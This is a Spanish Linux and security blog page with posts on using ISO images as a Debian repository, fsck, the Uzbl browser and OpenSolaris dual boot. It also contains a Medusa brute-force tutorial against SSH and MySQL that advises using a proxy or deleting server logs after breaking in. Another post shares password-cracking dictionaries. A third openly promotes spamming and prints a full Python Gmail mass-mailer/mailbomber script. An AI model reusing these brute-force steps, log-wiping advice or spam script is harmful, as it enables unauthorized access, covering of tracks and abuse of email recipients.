Rincón Informático

Un rincon para hablar sobre GNU/Linux, seguridad informatica, y mas!!

Usando una imagen ISO como repositorio en Debian

Posted by jhonber On enero - 8 - 2010

Es una pregunta que ya me había hecho hace tiempo, si era posible usar una imagen iso como repositorio y no tener que estar usando los CD’s/DVD’s  (Algo muchas veces molesto, más si se trata de CD’s).

Pues bueno las ventajas que presenta usar las imágenes iso son bastante claras, ya que no tendremos la necesidad de estar insertando y sacando los CD’s/DVD’s de la unidad, a demás de ahorrarnos unos cuantos CD’s/DVD’s.

Preparando lo necesario

- Necesitamos un directorio por cada CD’s/DVD’s. Podríamos crear una directorio llamado ‘repositorio‘ en /media que contenga a los demás.

# mkdir  /media/repositorio

Ahora dentro de ‘repositorio’ creamos el resto de carpetas donde serán montadas las imágenes iso.

# mkdir  /media/repositorio/[CD1 o DVD1]

# mkdir  /media/repositorio/[CD2 o DVD2]

# mkdir  /media/repositorio/[CDn o DVDn]

En mi caso los directorios quedarían así:

# ls  /media/repositorio

cd1 cd2  cd3  cd4  cd5  cd6  cd7  cd8

- Debemos conocer la ubicación de las imágenes iso (La ubicación realmente no importa).

En mi caso: /media/repositorio-isos

Modificando el archivo fstab

#vim  /etc/fstab

Al final del archivo añadimos los siguiente:

/media/RUTA/IMAGEN1.iso  /media/repositorio/[CD1 o DVD1]  iso9660  loop,user,auto   

Para cada imagen debe haber una línea como esta indicando respectivamente la imagen iso y el directorio donde será montada.

Ejemplo:

#Repositorio imagenes-iso
/media/repositorio-isos/debian-testing-i386-CD-1.iso  /media/repositorio/cd1  iso9660 loop,user,auto    
/media/repositorio-isos/debian-testing-i386-CD-2.iso  /media/repositorio/cd2  iso9660 loop,user,auto    
/media/repositorio-isos/debian-testing-i386-CD-3.iso  /media/repositorio/cd3  iso9660 loop,user,auto    
/media/repositorio-isos/debian-testing-i386-CD-4.iso  /media/repositorio/cd4  iso9660 loop,user,auto    
/media/repositorio-isos/debian-testing-i386-CD-5.iso  /media/repositorio/cd5  iso9660 loop,user,auto    
/media/repositorio-isos/debian-testing-i386-CD-6.iso  /media/repositorio/cd6  iso9660 loop,user,auto    
/media/repositorio-isos/debian-testing-i386-CD-7.iso  /media/repositorio/cd7  iso9660 loop,user,auto    
/media/repositorio-isos/debian-testing-i386-CD-8.iso  /media/repositorio/cd8  iso9660 loop,user,auto    

Modificando el archivo sources.list

Ahora para que apt use las imágenes como repositorio debemos indicar en este archivo donde esta montado cada CD’s/DVD’s de nuestro repositorio.

# vim  /etc/apt/sources.list

Agregamos lo siguiente:

deb file:///media/repositorio/[CD1 o DVD1] squeeze main contrib

Cambia ‘squeeze’ por la versión de Debian que uses.

Ejemplo:

#Repositorio imagenes-iso
deb file:///media/repositorio/cd1 squeeze main contrib
deb file:///media/repositorio/cd2 squeeze main contrib
deb file:///media/repositorio/cd3 squeeze main contrib
deb file:///media/repositorio/cd4 squeeze main contrib
deb file:///media/repositorio/cd5 squeeze main contrib
deb file:///media/repositorio/cd6 squeeze main contrib
deb file:///media/repositorio/cd7 squeeze main contrib
deb file:///media/repositorio/cd8 squeeze main contrib
##END

Si no lo has hecho debes montar las imágenes:

# mount  -a

Y por último:

# aptitude  update

A mí me han aparecido varios errores como este, después de actualizar los repositorios:

Err file: squeeze/contrib Packages
Fichero no encontrado

Pero esto no perjudica el funcionamiento correcto de el repositorio.

Compartir este repositorio para toda la red local

Este punto ofrece una utilidad enorme, imagínate actualizar todos los computadores de una red local a través de un solo computador que actúe como servidor del repositorio. Pues es muy sencillo:

Supongamos que con los pasos de arriba configuramos el repositorio y que ese computador será el servidor.

Ip: 192.168.1.1

Nota: Debemos tener configurado un servidor Apache.

En el servidor

Aquí crearemos enlaces simbólicos a cada uno de los directorios en donde se encuentran montadas las imágenes iso. Esto lo hacemos en el directorio /var/www de Apache.

#cd  /var/www

Cambias si es necesario la ruta del directorio por la tuya.

/var/www# ln  -s  /media/repositorio/cd1

/var/www# ln  -s  /media/repositorio/cd2

Recuerda un enlace por cada directorio.

En los clientes

En cada uno de los clientes debemos modificar el archivo /etc/fstab

#vim  /etc/fstab

Agregamos por cada enlace simbólico una línea como esta:

deb http://192.168.1.1/[NOMBRE_ENLACE] squeeze main contrib

Como puedes ver accedemos al repositorio con la ip del servidor y el nombre del enlace simbólico que apunta a cada una de los directorios donde montamos las imágenes.

Ejemplo

deb http://192.168.1.1/cd1 squeeze main contrib
deb http://192.168.1.1/cd2 squeeze main contrib
deb http://192.168.1.1/cd3 squeeze main contrib

Actualizamos repositorios y listo ;) . Hasta la próxima!!

Siguiendo con los ataques de fuerza bruta. Hemos hablado anteriormente de medusa, la herramienta que nos permite realizar el ataque, sin embargo  hay algo fundamental que  sin el, no seria posible realizar el ataque. ¿Que es?  Si estoy hablando de los diccionarios.  estos archivos de texto son muy importantes a la hora de  lanzar un ataque de fuerza bruta de este tipo, con un robusto y amplio diccionario muy pocas contraseñas se escaparan, ya que   según las estadísticas  muy pocas personas asignan contraseñas dificiles, mezclando  letras números y caracteres especiales, la mayoría se sienten demasiados seguros con una  palabra en minúsculas como contraseña.

En esta ocasión quiero compartir con ustedes  una recopilacion de diccionarios en español,  para  realizar los ataques de fuerza bruta. Consta de dos paquetes, a continuación se encuentran los links de descarga:

Parte 1
Parte 2

Cada parte consta de 5 diccionarios de todos los colores y sabores, espero que les sirvan y los aprovechen y recuerden la regla de oro para un ataque de fuerza bruta con diccionario:

la efectividad de un ataque con diccionario es directamente proporcional al tamaño del diccionario, es decir, entre mas grande sea el diccionario mayor sera la probabilidad de encontrar la contraseña.

Ataque de fuerza bruta con diccionario usando Medusa

Posted by Epsilon On enero - 2 - 2010

Seguramente muchos conocen  hydra: una aplicacion para atacar con fuerza bruta  usando diccionarios,  a diferentes servicios como: ssh, ,  mysql entre otros,  sin embargo hydra  no se volvió actualizar, su ultima versión fue  lanzada en el 2006 y aunque todavía funciona muy bien,   tiene muchos problemas en la instalación, debido a las dependencias y sus versiones.

No obstante, existe una aplicacion llamada  medusa que es muy similar ( no exactamente igual) a hydra, la cual nos permite crackear por diccionario de forma rápida, masiva y paralela  los siguientes servicios:

  • AFP
  • CVS
  • HTTP
  • IMAP
  • MS-SQL
  • MySQL
  • NetWare NCP
  • NNTP
  • PcAnywhere
  • POP3
  • PostgreSQL
  • REXEC
  • RLOGIN
  • RSH
  • SMBNT
  • SMTP-AUTH
  • SMTP-VRFY
  • SNMP
  • SSHv2
  • Subversion (SVN)
  • Telnet
  • VMware autenticación Daemon (vmauthd)
  • VNC
  • Genérico Wrapper
  • Web Form

Algunas de las caracteristicas que nos tiene medusa son:

  • Velocidad
  • Estabilidad
  • Organizacion del código, para comprenderlo facil
  • diversidad de servicios (como vieron anteriormente)

Instalación de  Medusa

Antes de instalar  medusa, debemos revisar  que se cumplan las siguientes dependencias:

  • OpenSSL
  • LibSSH2
  • NCPFS
  • Libpq
  • Subversion
  • afpfs-ng

Para los usuarios de debian, esta herramienta se encuentra en los repositorios:

apt-get install medusa

Para los demás usuarios descargan las fuentes desde aca, y compilan:

./configure
make
make install

¿Como crackear password con diccionarios usando medusa ?

Lo primero que debemos hacer es  ver los módulos disponibles,  los módulos son los servicios los cuales podemos atacar, para visualizar los módulos:

medusa -d

Después de estar seguros de que tenemos el modulo adecuado al servicio que deseamos atacar, procedemos a lanzar el ataque. Medusa posee una gran cantidad de parámetros (ojala se tomaran el tiempo para leer el man  con detenimiento).  Los parámetros mas importantes son:

-h -> el host víctima
-H -> si tenemos un archivo txt con una lista de hosts
-u  -> el usuario al cual deseamos hacerle el cracking
-U ->  un archivo txt con la lista de posibles usuarios (muy útil si no sabemos que usuarios existen en el sistema)
-P ->  Ubicación del diccionario
-O  -> Crea un archivo log
- e  ns -> Verifica el password vacio o que ambos datos sean lo mismo
-M  -> El modulo que deseamos emplear (sin la extension .mod)
-n -> por si el servicio esta corriendo en otro puerto diferente al default
-s -> Habilita ssl
-f -> detiene el ataque en el instante de encontrar un password valido
-b -> suprime los banners
-v  -> modo verbose (mas informacion level de a 6 siendo el 6 mas alto)

Ahora practiquemos un poco:

medusa -h 127...1 -u rincon -P /diccionario.txt -M mysql -L -f -b -v 6

Como pueden ver me estoy atacando yo  mismo obviamente me he asegurado que el password se encuentra en el diccionario, el resultado es sorprendente tardo muy poco (10 segundos aproximadamente), el tiempo depende de varios factores como el tamaño del diccionarios y la ubicacion del password encontrado, ya que se va a demorar mucho menos si el password esta al inicio del diccionario de 36000 palabras.

Ahora muchos diran que no es lo mismo hacer un ataque de fuerza bruta con diccionario de forma local  que de forma remota y tienen mucha razon, sin embargo hicimos  la prueba de forma remota  y los resultados fueron muy aceptables, se demoro 6 minutos en encontrar el password en un diccionario de 500 palabras (con esos datos ya pueden hacer la simple regla de 3) atacando  el ssh

Algunos inconvenientes

Todo no es color de rosa, existen algunos inconvenientes que debemos tener en cuenta antes de realizar un ataque de este tipo:

  • No  hay total certeza de encontrar el password, sin embargo la efectividad de un ataque con diccionario es directamente proporcional al tamaño del diccionario, es decir, entre mas grande sea el diccionario mayor sera la probabilidad de  encontrar la contraseña.
  • Otro inconveniente, consiste en que algunos sysadmin inteligentes restringen  el numero de intentos de autenticacion a un numero no mayor a 3, asi que si nos topamos con un servidor serio, no podremos aplicar el ataque por fuerza bruta.
  • Cuando nos encontramos un servidor “vulnerable” a un ataque de fuerza bruta con diccionario, debemos tener muchisimo cuidado, ya que un ataque de esta naturaleza  hace demasiado “RUIDO” es decir, todos los intentos de conexion quedaran guardados en los logs del servidor, por eso es pertinente usar un proxy para hacer el ataque, o  en su defecto borrar los logs, inmediatamente despues de entrar al server.

Uzbl: Un navegador web liviano, minimalista y muy personalizable

Posted by Epsilon On diciembre - 29 - 2009

Si estas cansado de el amplio consumo de CPU y memoria de tu navegador preferido (ya sea , opera, chromium, etc..) te presento  UZBL un navegador web de código abierto  muy minimalista,  que cumple con la filosofia Unix:

Escribir programas que hacen una cosa y la hacen bien. Escribir programas para trabajar juntos. Escribir programas para manejar flujos de texto, ya que es una interface universal

Antes de empezar con el proceso de instalación hay que aclara que si eres de los usuarios que te gusta que tu navegador tenga un sin fin de addons y servicios adicionales, este no es el navegador para ti, por el contrario si eres un usuario el cual solo le interesa que tu navegador sirva para lo que fue diseñado (abrir paginas web), esta aplicacion sera perfecta para ti.

Ventajas de Uzbl

  • 100%  Personalizable (editar menús, cambiar colores, atajos)
  • rápido
  • soporta flash player
  • Soporta pestañas
  • Al ser tan minimalista no quiere decir que no tenga, marcadores, historiales.
  • navegacion con el teclado.

Instalación de UZBL

Ya que este proyecto es demasiado nuevo ( marzo de 2009 ) solo se encuentra en los repositorios de archlinux, gentoo, ubuntu, la versión testing de debian (squeeze)  y por supuesto en la versión inestable (sid),  para los usuarios de estas versiónes, pueden instalar uzbl de esta forma:

apt-get install uzbl

Sin embargo para lo usuarios de otras distribuciones, las cuales no tengan uzbl en sus repositorios, necesitaran hacer lo siguiente:

apt-get install git-core git-arch git-cvs git-daemon-run git-doc git-email git-gui git-svn gitk gitweb libwebkit-dev

Ahora descargamos las fuentes desde la pagina web oficial:

git clone git://github.com/Dieterbe/uzbl.git

Siguiente punto compilar:

make
make install-uzbl-core
make install-uzbl-browser
make install-uzbl-tabbed

Por ultimo debemos copiar el archivo de configuracion tomando como base un ejemplo, para esto hacemos lo siguiente:

cp /usr/local/share/uzbl/examples/config/uzbl/config /home/tu_usuario/.config/uzbl/config
nota: si la carpeta .config o uzbl no se encuentran en tu home, debes crearlas.

Es importante tener en cuenta que este archivo es parte fundamental del navegador, en el se encuentra toda la configuracion  y es alli donde debemos modificar lo que deseamos, desde la apariencia hasta los atajos del teclado.

Usando el navegador web uzbl

Despues de tenerlo instalado solo basta ejecutarlo, dependendiendo de lo que queramos ejecutamos:

uzbl-tabbed -> navegacion con pestañas
uzbl-brower -> navegador simple

algunos atajos de teclado son (recuerda que puedes cambiarlos a tu antojo):

j -> baja la pagina
k -> Sube pagina
h -> corre hacia la izquierda
l ->  corre hacia la derecha
b -> Pagina atras
m -> pagina adelante
o  -> abrir pagina (despues de presionar o digita la url)
r -> actualizar

Aunque llevo poco probandolo  me parece muy bueno, sencillo  y agradable (nada de molestas barras), y me gusto mucho por lo configurable, cada uno puede  adecuarlo a su gusto, por ultimo dejo un screenshot del menu de click derecho que configure.

Free Image Hosting at www.ImageShack.us

No soy un guru manejando este navegador, pero seria bueno ir probandolo a fondo y conociendo sus otras caracteristicas que deben ser muchas mas, esto es simplemente un abrebocas a que se animen a probarlo  y nos cuenten sus experiencias.

Script para enviar Spam o MailBomber

Posted by Epsilon On diciembre - 27 - 2009

Algunas veces es necesario hacer un poco de spam por diferentes motivos: SEO, dinero etc.  estando en algun canal de IRC algún usuario (que no recuerdo su nombre) compartio este script el cual sirve para enviar un mensaje a muchos destinatarios diferentes, (si tienen maldad, se imaginan si mandamos el mismo mensaje a  un solo destinatario?).  Su funcionamiento es muy sencillo, solo necesitamos un archivo de texto  con todos los destinatarios y tener python instalado en nuestro . Después de tener todo esto listo, solo basta ejecutar esto en una consola:

chmod 777 mail.py
./mail.py destinatarios.txt

Al ejecutarlo el script nos pedirá  los datos de autenticación de la cuenta que va hacer el papel de remitente,  el numero de mails a enviar (parametro que no funciona como debería hacerlo),  el asunto y cuerpo del mensaje, inmediatamente  le entregamos estos datos, el script empieza hacer su trabajo. El código de este programa es el siguiente:

#!/usr/bin/python
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
#        \/                  \/             \/                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
#                 \  \___|  | \/\  ___/\     /                 #
#                  \___  >__|    \___  >\/\_/                  #
#      est.2007        \/            \/   forum.darkc0de.com   #
#                                         www.beenuarora.com   #
################################################################
#Thanks to low1z for initial script
#Greetz to all darkc0de memeber

import os, smtplib, mimetypes,time,sys,urllib,urllib2
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText 

def sendMail(gmailUser,gmailPassword,recipient,subject,text): 

 msg = MIMEMultipart()
 msg['From'] = gmailUser
 msg['To'] = recipient
 msg['Subject'] = subject
 msg.attach(MIMEText(text))
 mailServer = smtplib.SMTP('smtp.gmail.com', 587)
 mailServer.ehlo()
 mailServer.starttls()
 mailServer.ehlo()
 mailServer.login(gmailUser, gmailPassword)
 mailServer.sendmail(gmailUser, recipient, msg.as_string())
 mailServer.close()
 print('[-] Sent email to %s :' % recipient)
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
 SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[:5] == 'ms-dos':
 SysCls = 'cls'
else:
 SysCls = 'unknown'

os.system(SysCls)

print "\n|---------------------------------------------------------------|"
print "| beenudel1986[@]gmail[dot]com                                  |"
print "| Spomb v1.                                                    |"
print "|   Do Visit     www.BeenuArora.com      &        darkc0de.com  |"
print "|---------------------------------------------------------------|\n"

if len(sys.argv) < 2:
 print "\nUsage: ./spammer.py list.txt"
 print "Ex: ./spomb.py list.txt\n"
 sys.exit(1)

list= sys.argv[1]
try:

 hosts= open(list,'r')
except (IOError):
 print " \n\nSpamming List Missing ..Exiting :( "
 sys.exit()

count= raw_input('Enter the Number of mails :')
gmailUser = raw_input('Enter Your Email ID :')
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
 os.system('stty -echo')
gmailPassword = raw_input('Enter Your Gmail Password :')
list= sys.argv[1]
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
 os.system('stty echo')
subject = raw_input('\nSubject :')
text = raw_input('Text :')
for a in range (,int(count)):
 for host in hosts:
 recipient=host[:-1]
 try:
 sendMail(gmailUser,gmailPassword,recipient,subject,text)
 time.sleep(10)
 except(urllib2.URLError, socket.timeout, socket.gaierror, socket.error):
 print ('Something Went Wrong ..Check Manually for Error\n')
 except(KeyboardInterrupt):
 pass
print ('\n\nDone Mailing...')

Tuve la oportunidad de probarlo, y hay varias cosas negativas que aclarar:

  1. Como dije anteriormente el parametro de numeros de mensajes no funciona adecuadamente.
  2. Despues de un tiempo enviando correos,  gmail cerro la conexion, y no se podia conectar  despues de 3 horas mas, al parecer gmail bloquea la cuenta por tratarse de spam

No tengo nada mas que decir, espero que lo prueben y me cuenten sus comentarios

Como corregir inconsistencias en el sistema de archivos con FSCK

Posted by jhonber On diciembre - 26 - 2009

Qué es FSCK (En Wikipedia):

FSCK (file system check o bien file system consistency check) es una utilidad de los sistemas Unix y similares, como Linux y AIX que se utiliza ante alguna inconsistencia del sistema de archivos para corregir los posibles errores en el sistema.

FSCK se ejecuta automáticamente al arranque del sistema, si se encuentra alguna anomalía en el mismo; pero además de eso puede ser usado manualmente.

Modo de empleo:

fsck  [-opciones]  /dev/hdXXX  (o sdXXX)

Opciones:

-a confirmar automáticamente. No recomendado.
-c comprobar bloques en el disco.
-f forzar la verificación aunque todo parezca normal.
-v (verbose) despliega más información.
-r Modo interactivo. Espera nuestra respuesta.
-y asume yes de respuesta.

El siguiente argumento para el comando FSCK es la partición donde queremos hacer la verificación. (Depende de nuestro disco lo haremos con  /dev/hdXXX  o  con /dev/sdXXX ).

Nota: Se recomienda que la partición donde hagamos la verificación se encuentre DESMONTADA.

Un ejemplo de uso puede ser (Con el cual el comando comprobaría los bloques en el disco y asumiría ‘yes’ como respuesta):

# fsck  -c  -y  /dev/hdXXX

La salida de dicho comando serán algunos avisos sobre si se han encontrado errores en el sistema de archivos y si se han corregido correctamente.

Automatizar FSCK para que se ejecute al arranque del sistema

Esto se puede conseguir editando el archivo /etc/fstab

# vim  /etc/fstab

Archivo fstab:

##################################
# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
/dev/hda6           /                           ext3        defaults                           1
/dev/hda2           /home                  ext3        defaults                           2
/dev/hda5          none                     swap      sw                                    
/dev/hdb            /media/cdrom0  udf,iso9660 user,noauto                  
/dev/hda7          /media/hda7       ext3         defaults                             2
##################################

Debajo de <pass> es donde debemos colocar el argumento que hará que FSCK verifique cada X arranques del sistema dicha partición, Los valores posibles son “″  “1″ o “2″ El sistema de fichero raíz / debe tener “1″ si deseamos activarlo, y el resto de particiones deben tener “2″ para el mismo propósito. Los sistemas de ficheros que no necesitan comprobación como swap o el CD-ROM Tendrán el valor de “″.

Bueno no esta demás recomendar usar con cuidado este comando (Úsalo bajo tu cuenta y riesgo) ;)

Hasta la próxima y Felices Fiestas para todos !!!

Dual Boot en OpenSolaris

Posted by Epsilon On diciembre - 23 - 2009

Para las personas q han instalado opensolaris después de tener instalado un GNU/Linux se han dado cuenta de que el grub de opensolaris no les reconoce por defecto la entrada a el GNU/linux, y pasa lo mismo si tenemos opensolaris y despues instalamos un GNU/linux por que el grub de GNU/Linux  no reconoce ZFS (sistema de archivos de opensolaris), en esta entrada mostraremos  dos posibles soluciones para resolver este inconveniente, muchos de ustedes se preguntaran ¿y q pasa si tengo windows? pues nada por q opensolaris reconoce la entrada de windows por defecto.

si hemos instalado opensolaris después de GNU/Linux  lo que  podemos hacer es lo siguiente copiamos las entradas del menu.lst del pinguino  y las pegamos en  el archivo  menu.lst del opensolaris q se encuentra en /rpool/boot/grub/menu.lst y debe quedar algo como esto:

splashimage /boot/grub/splash.xpm.gz
timeout 30
default 
#---------ADED BY BOOTADM - DO NOT EDIT ----------------
title OpenSolaris 2009.06 snv_86_rc3 X86
bootfs rpool/ROOT/opensolaris
kernel$ /plataform/i86pc/kernel/$ISADIR/unix -B $ZFS-BOOTFS
module$ /plataform/i86pc/$ISADIR/boot_archive
#--------------------END BOOTADM-----------------------------------
title Windows asi reconoce el opensolaris la entrada de windows.
rootnoverify (hd0,)
chainloader +1
#Unknown partition of type 5 found on /dev/rdsk/c5d0p0 partition: 2
# It maps to the GRUB device: (hd0,1).
title Ubuntu 8.04, kernel 2.6.24-16-generic
root (hd0,4)
kernel /boot/vmlinuz-2.6.24-16-generic
root=UUID=26393121-0c4a-4081-8363-89e928184a10 ro quiet splash
initrd /boot/initrd.img-2.6.24-16-generic
quiet
title Ubuntu 8.04, kernel 2.6.24-16-generic (recovery mode)
root (hd0,4)
kernel /boot/vmlinuz-2.6.24-16-generic
root=UUID=26393121-0c4a-4081-8363-89e928184a10 ro single
initrd /boot/initrd.img-2.6.24-16-generic
title Ubuntu 8.04, memtest86+
root (hd0,4)
kernel /boot/memtest86+.bin
quiet
##END DEBIAN AUTOMATIC KERNELS LIST

si esta opcion no les funciona por alguna razon, pueden probar  recuperando el grub del GNU/Linux con el super grub disk y despues de esto  vamos al menu.lst del linux que esta ubicando en /boot/grub/menu.lst y copiamos al final de la linea lo siguiente:

title OpenSolaris
rootnoverify (hd0,1)
makeactive
chainloader +1

Siendo el (hdx,y) la parcticion en donde esta ubicado el opensolaris debe quedar algo asi:

title Ubuntu 8.04, kernel 2.6.24-16-generic
 root (hd0,4)
 kernel /boot/vmlinuz-2.6.24-16-generic
 root=UUID=26393121-0c4a-4081-8363-89e928184a10 ro quiet splash
 initrd /boot/initrd.img-2.6.24-16-generic
 quiet

 title Ubuntu 8.04, kernel 2.6.24-16-generic (recovery mode)
 root (hd0,4)
 kernel /boot/vmlinuz-2.6.24-16-generic
 root=UUID=26393121-0c4a-4081-8363-89e928184a10 ro single
 initrd /boot/initrd.img-2.6.24-16-generic

 title Ubuntu 8.04, memtest86+
 root (hd0,4)
 kernel /boot/memtest86+.bin
 quiet

 ##END DEBIAN AUTOMATIC KERNELS LIST

 title OpenSolaris
 rootnoverify (hd0,1)
 makeactive
 chainloader +1